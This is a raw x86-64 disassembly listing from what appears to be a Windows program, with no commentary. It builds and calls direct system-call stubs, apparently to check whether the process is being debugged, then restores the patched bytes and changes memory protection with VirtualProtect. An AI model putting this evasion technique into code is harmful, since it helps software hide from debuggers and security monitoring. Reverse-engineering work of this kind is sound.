movzx esi, byte [rsp + 0x61]
lea rax, [rbp + 0x10]
mov byte [rbp + 0x12], sil
mov byte [rbp + 0x11], r15b
cmp rdi, rax
jbe 0x140046ee3
lea rax, [rbp + 0x1b]
cmp rdi, rax
jae 0x140046ee3
mov rcx, r13
mov rdx, r13
sub rcx, rdi
inc rcx
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0xf]
mov byte [rdx], al
lea rdx, [rdx - 1]
sub rcx, 1
jne 0x140046ed0
jmp 0x140046f04
mov byte [rdi], 0xb8
mov byte [rdi + 1], r15b
mov byte [rdi + 2], sil
mov dword [rdi + 3], 0x8b4c0000
mov word [rdi + 7], 0xfd1
mov byte [rdi + 9], 5
mov byte [r13], 0xc3
xor eax, eax
lea r8, [rbp - 0x24]
mov dword [rbp - 0x24], eax
lea r9d, [rax + 4]
lea edx, [rax + 0x1f]
lea rcx, [rax - 1]
call rdi
test eax, eax
jns 0x140047007
lea rax, [rbp + 0x20]
cmp rdi, rax
jbe 0x140046f60
lea rax, [rbp + 0x34]
cmp rdi, rax
jae 0x140046f60
lea rcx, [rdi + 0x13]
mov edx, 0x14
nop dword [rax]
movzx eax, byte [rbp + rdx + 0x1f]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x140046f40
jmp 0x140046fec
movzx eax, byte [rbp + 0x20]
mov byte [rdi], al
movzx eax, byte [rbp + 0x21]
mov byte [rdi + 1], al
movzx eax, byte [rbp + 0x22]
mov byte [rdi + 2], al
movzx eax, byte [rbp + 0x23]
mov byte [rdi + 3], al
movzx eax, byte [rbp + 0x24]
mov byte [rdi + 4], al
movzx eax, byte [rbp + 0x25]
mov byte [rdi + 5], al
movzx eax, byte [rbp + 0x26]
mov byte [rdi + 6], al
movzx eax, byte [rbp + 0x27]
mov byte [rdi + 7], al
movzx eax, byte [rbp + 0x28]
mov byte [rdi + 8], al
movzx eax, byte [rbp + 0x29]
mov byte [rdi + 9], al
movzx eax, byte [rbp + 0x2a]
mov byte [r13], al
movzx eax, byte [rbp + 0x2b]
mov byte [rdi + 0xb], al
movzx eax, byte [rbp + 0x2c]
mov byte [rdi + 0xc], al
movzx eax, byte [rbp + 0x2d]
mov byte [rdi + 0xd], al
movzx eax, byte [rbp + 0x2e]
mov byte [rdi + 0xe], al
movzx eax, byte [rbp + 0x2f]
mov byte [rdi + 0xf], al
movzx eax, byte [rbp + 0x30]
mov byte [rdi + 0x10], al
movzx eax, byte [rbp + 0x31]
mov byte [rdi + 0x11], al
movzx eax, byte [rbp + 0x32]
mov byte [rdi + 0x12], al
movzx eax, byte [rbp + 0x33]
mov byte [rdi + 0x13], al
mov r8d, dword [rbp - 0x20]
lea r9, [rbp - 0x20]
mov edx, 0x1024
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x140046c5f
mov r11, r14
mov r8, rdi
nop dword [rax]
movzx r10d, byte [r8 + r12]
movzx r9d, byte [r8]
lea eax, [r10 - 0x61]
cmp eax, 0x19
lea edx, [r10 - 0x20]
lea eax, [r9 - 0x61]
cmova edx, r10d
lea ecx, [r9 - 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp ecx, edx
jne 0x140047046
inc r8
sub r11, 1
jne 0x140047010
jmp 0x14004704f
cmp r9d, r10d
jne 0x140047276
lea rcx, [rbp + 0x11]
mov dword [rbp - 0x24], 1
lea rax, [rbp - 0x28]
cmp rcx, rax
jbe 0x140047070
lea rcx, [rbp + 0x11]
lea rax, [rbp - 0x26]
nop dword [rax + rax]
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x10]
mov byte [rbp + 0x12], bl
mov byte [rbp + 0x11], al
cmp rdi, rcx
jbe 0x1400470c0
lea rcx, [rbp + 0x1b]
cmp rdi, rcx
jae 0x1400470c0
mov rcx, r13
mov rdx, r13
sub rcx, rdi
inc rcx
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0xf]
mov byte [rdx], al
lea rdx, [rdx - 1]
sub rcx, 1
jne 0x1400470a0
jmp 0x1400470df
mov byte [rdi], 0xb8
mov byte [rdi + 1], al
mov byte [rdi + 2], bl
mov dword [rdi + 3], 0x8b4c0000
mov word [rdi + 7], 0xfd1
mov byte [rdi + 9], 5
mov byte [r13], 0xc3
xor eax, eax
lea r8, [rbp - 0x24]
mov qword [rsp + 0x20], rax
lea r9d, [rax + 4]
lea edx, [rax + 0x1f]
lea rcx, [rax - 1]
call rdi
test eax, eax
js 0x140047105
cmp dword [rbp - 0x24], 0
jne 0x140047276
mov r11, r14
mov r8, rdi
nop dword [rax + rax]
movzx r10d, byte [r8 + r12]
movzx r9d, byte [r8]
lea eax, [r10 - 0x61]
cmp eax, 0x19
lea edx, [r10 - 0x20]
lea eax, [r9 - 0x61]
cmova edx, r10d
lea ecx, [r9 - 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp ecx, edx
jne 0x140047146
inc r8
sub r11, 1
jne 0x140047110
jmp 0x14004714f
cmp r9d, r10d
jne 0x140047276
lea rcx, [rbp + 0x11]
lea rax, [rsp + 0x60]
cmp rcx, rax
jbe 0x140047170
lea rcx, [rbp + 0x11]
lea rax, [rsp + 0x62]
nop word [rax + rax]
lea rax, [rbp + 0x10]
mov byte [rbp + 0x12], sil
mov byte [rbp + 0x11], r15b
cmp rdi, rax
jbe 0x1400471b3
lea rax, [rbp + 0x1b]
cmp rdi, rax
jae 0x1400471b3
mov rcx, r13
mov rdx, r13
sub rcx, rdi
inc rcx
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0xf]
mov byte [rdx], al
lea rdx, [rdx - 1]
sub rcx, 1
jne 0x1400471a0
jmp 0x1400471d4
mov byte [rdi], 0xb8
mov byte [rdi + 1], r15b
mov byte [rdi + 2], sil
mov dword [rdi + 3], 0x8b4c0000
mov word [rdi + 7], 0xfd1
mov byte [rdi + 9], 5
mov byte [r13], 0xc3
mov r9d, 4
mov dword [rbp - 0x24], 1
lea r8, [rbp - 0x24]
mov rcx, 0xffffffffffffffff
lea edx, [r9 + 0x1b]
call rdi
mov r8, rdi
nop word [rax + rax]
movzx r9d, byte [r8]
movzx r10d, byte [r8 + r12]
lea eax, [r9 - 0x61]
cmp eax, 0x19
lea edx, [r9 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r9d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x140047236
inc r8
sub r14, 1
jne 0x140047200
jmp 0x14004723b
cmp r9d, r10d
jne 0x140047276
lea rax, [rbp + 0x20]
cmp rdi, rax
jbe 0x140046f60
lea rax, [rbp + 0x34]
cmp rdi, rax
jae 0x140046f60
lea rcx, [rdi + 0x13]
mov edx, 0x14
nop
movzx eax, byte [rbp + rdx + 0x1f]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x140047260
jmp 0x140046fec
mov al, 1
jmp 0x140046c61